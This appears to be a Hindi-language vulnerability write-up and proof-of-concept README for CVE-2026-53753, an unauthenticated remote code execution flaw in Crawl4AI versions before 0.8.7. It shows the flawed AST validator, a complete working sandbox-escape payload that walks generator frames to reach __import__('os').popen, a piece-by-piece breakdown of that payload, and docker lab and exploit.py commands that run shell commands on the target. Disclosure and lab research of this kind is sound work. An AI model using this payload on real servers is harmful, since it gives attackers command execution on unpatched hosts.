CVE-2026-53753 — Crawl4AI <0.8.7 अप्रमाणित RCE (AST sandbox escape gi_frame.f_back द्वारा). Lab + PoC, सत्यापित e2e.
Crawl4AI
< 0.8.7में पूर्व-प्रमाणीकरण RCE। एक निर्मितJsonCssExtractionStrategyस्कीमा जो असत्यापितPOST /crawlएंडपॉइंट पर भेजा जाता है, गणना-क्षेत्रों के मूल्यांकनकर्ता (_safe_eval_expression) तक पहुँचता है, इसकी AST अनुमति-सूची से Python फ्रेम ऑब्जेक्ट्स के माध्यम से बच निकलता है, वास्तविकbuiltinsतक पहुँचता है, और__import__('os').popen(<cmd>).read()चलाता है — जो कमांड के आउटपुट को JSON प्रतिक्रिया में इन-बैंड लौटाता है।
| CVE | CVE-2026-53753 |
| सलाह | GHSA-qxjp-w3pj-48m7 |
| प्रभावित | Crawl4AI <= 0.8.6 |
| ठीक किया गया | 0.8.7 |
| वर्ग | CWE-94 (कोड इंजेक्शन) / Python सैंडबॉक्स एस्केप |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं — शामिल कॉन्फ़िग में jwt_enabled: false है |
| स्थिति | पुष्टि — आधिकारिक unclecode/crawl4ai:0.8.6 इमेज के विरुद्ध एंड-टू-एंड पुनरुत्पादित किया गया |
गहराई से: नोड-दर-नोड AST वॉकथ्रू, रनटाइम फ्रेम स्टैक, अनुरोध डेटा-फ्लो और पैच डिफ के लिए
ANALYSIS.mdदेखें।
crawl4ai/extraction_strategy.py एक निष्कर्षण स्कीमा को गणना क्षेत्र (computed fields) परिभाषित करने देता है — छोटे Python एक्सप्रेशन जो प्रत्येक निकाले गए आइटम पर मूल्यांकित होते हैं। इन्हें _safe_eval_expression() द्वारा चलाया जाता है, जो AST अनुमति-सूची और एक छीन-हुई __builtins__ के साथ एक्सप्रेशन को सैंडबॉक्स करने का प्रयास करता है:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
वैलिडेटर अस्वीकार-द्वारा-उपसर्ग है: यह केवल उन नामों को अस्वीकार करता है जो _ से शुरू होते हैं (साथ ही import). वह एकमात्र ह्यूरिस्टिक पूरा सैंडबॉक्स है — और इसमें तीन छेद हैं जो एक पूर्ण एस्केप में संयोजित होते हैं:
| # | छेद | यह क्यों मायने रखता है |
|---|---|---|
| 1 | gi_frame, f_back, f_builtins _ से शुरू नहीं होते | संपूर्ण Python फ्रेम/जनरेटर इंट्रोस्पेक्शन सतह पहुँच योग्य है। |
| 2 | obj['__import__'] एक ast.Subscript है, ast.Attribute नहीं | वैलिडेटर कभी भी डिक्ट-सबस्क्रिप्ट कीज़ का निरीक्षण नहीं करता, इसलिए डंडर की __import__ पास हो जाती है। |
| 3 | एक चल रहे जनरेटर की f_back श्रृंखला एक बाहरी फ्रेम की ओर ले जाती है जिसका f_builtins वास्तविक builtins है | छीन-हुई _SAFE_EVAL_BUILTINS से बचकर पूर्ण builtins (__import__, आदि) तक पहुँचता है। |
स्कीमा इस फ़ंक्शन तक बिना प्रमाणीकरण के पहुँचती है: Docker API security.jwt_enabled: false भेजता है, इसलिए /crawl टोकन निर्भरता lambda: None है।
गणना-क्षेत्र का एक्सप्रेशन है:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
इसे टुकड़े-टुकड़े पढ़ना:
| अंश | भूमिका | वैलिडेटर इसे क्यों अनुमति देता है |
|---|---|---|
(lambda: ... )() | एक फ़ंक्शन स्कोप बनाता है ताकि वालरस-बाउंड नाम एक क्लोज़र सेल में रहता है। | ast.Lambda की जाँच नहीं की जाती। |
g := ( <expr> for i in [1]) | जनरेटर को g पर बाँधता है और जनरेटर बॉडी g (स्वयं) को संदर्भित करता है। | := और जनरेटर एक्सप्रेशन की जाँच नहीं की जाती। (वालरस एक कॉम्प्रिहेंशन आइटरेबल में अवैध है, इसलिए इसे इसके बजाय एक टपल तत्व में रखा जाता है।) |
list(g) | जनरेटर को चलाता है — ताकि बॉडी चलने पर इसका फ्रेम सक्रिय हो। | list सुरक्षित builtins में है। |
g.gi_frame | जनरेटर का फ्रेम ऑब्जेक्ट। | gi_frame _ से शुरू नहीं होता। |
.f_back.f_back.f_back | तीन फ्रेम ऊपर चलता है वास्तविक builtins वाले एक तक। | f_back _ से शुरू नहीं होता। |
.f_builtins | उस फ्रेम का builtins मैपिंग (वास्तविक वाला)। | f_builtins _ से शुरू नहीं होता। |
['__import__'] | builtins dict से __import__ लाता है। | डिक्ट सबस्क्रिप्ट — कभी निरीक्षण नहीं किया गया। |
('os') | __import__('os') → os मॉड्यूल। | कॉल टार्गेट एक Subscript है, Name/Attribute नहीं। |
.popen('id').read() | कमांड चलाता है और इसका stdout लौटाता है। | popen/read _ से शुरू नहीं होते। |
चूँकि जनरेटर का मान os.popen(cmd).read() है, कमांड का stdout फ़ील्ड मान बन जाता है और /crawl प्रतिक्रिया में वापस परिलक्षित होता है — एक इन-बैंड ओरेकल, किसी OAST की आवश्यकता नहीं।
जब list(g) जनरेटर को इटरेट करता है, कॉल स्टैक इस प्रकार दिखता है:
frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3
└ frame: <expression> (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- sandboxed ← f_back ×1
└ frame: <genexpr> g <-- RUNNING; g.gi_frame is this frame ← gi_frame
g.gi_frame.f_back केवल जनरेटर के चलने के दौरान जनशून्य होता है (इसलिए जनरेटर को स्वयं को संदर्भित करना चाहिए और list(g) द्वारा चलाया जाना चाहिए — एक अभी-शुरू-नहीं हुआ जनरेटर f_back is None होता है)। तीन बार f_back चलने पर _safe_eval_expression फ्रेम पर पहुँचता है, जिसका f_builtins पूर्ण builtins मॉड्यूल है — जिसमें से __import__ सबस्क्रिप्ट द्वारा निकाला जाता है।
फ्रेम गहराई इस कोड पथ के लिए स्थिर है:
f_back × 3Crawl4AI 0.8.6 के_safe_eval_expressionके लिए सही है।
आधिकारिक इमेज असुरक्षित डिफ़ॉल्ट (कोई प्रमाणीकरण नहीं) के साथ आती है:
# Option A — docker compose (normal Docker host with bridge networking)
docker compose -f lab/docker-compose.yml up -d
# Option B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
ब्राउज़र पूल को गर्म होने के लिए ~20 सेकंड प्रतीक्षा करें (docker logs crawl4ai-vuln → Application startup complete).
# Inspect the request body without sending it:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Fire it (command stdout comes back in the response):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py केवल Python मानक पुस्तकालय का उपयोग करता है — कोई निर्भरता नहीं।